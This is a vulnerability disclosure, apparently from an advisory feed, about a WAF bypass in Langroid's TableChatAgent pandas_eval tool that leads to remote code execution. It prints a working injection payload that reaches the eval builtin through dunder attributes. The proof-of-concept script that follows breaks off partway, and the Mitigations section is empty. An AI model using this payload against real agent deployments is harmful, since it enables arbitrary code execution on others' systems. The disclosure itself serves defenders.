Langroid has WAF Bypass Leading to RCE in TableChatAgent
Date: 2026-02
Affected: pip/langroid
Attack vector: rce
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2025-46724
CVE-2025-46725
CVE-2026-25481
CVE-2026-25879
CWE: CWE-89
CWE-94
CVSS:  (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## Affected Scope langroid <= 0.59.31 ## Vulnerability Description CVE-2025-46724 fix bypass: TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code. ## Reproduction & PoC This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval ```python df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval']) ``` here is the PoC ````python """Minimal TableChatAgent Demo using Langroid""" import os from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig from langroid.agent.task import Task import pandas as pd from langroid.language_models.openai_gpt import OpenAIGPTConfig # Path to the CSV/Excel/TSV file, or URL data = pd.DataFrame({ "id": [1], "name": ["admin"] }) # Create Table Chat Agent config = TableChatAgentConfig( data=data, llm=OpenAIGPTConfig( api_base=os.getenv("base_url"), api_key=os.getenv("api_key"), chat_model="deepseek-v3


Mitigations:

Architectural layers (MAESTRO):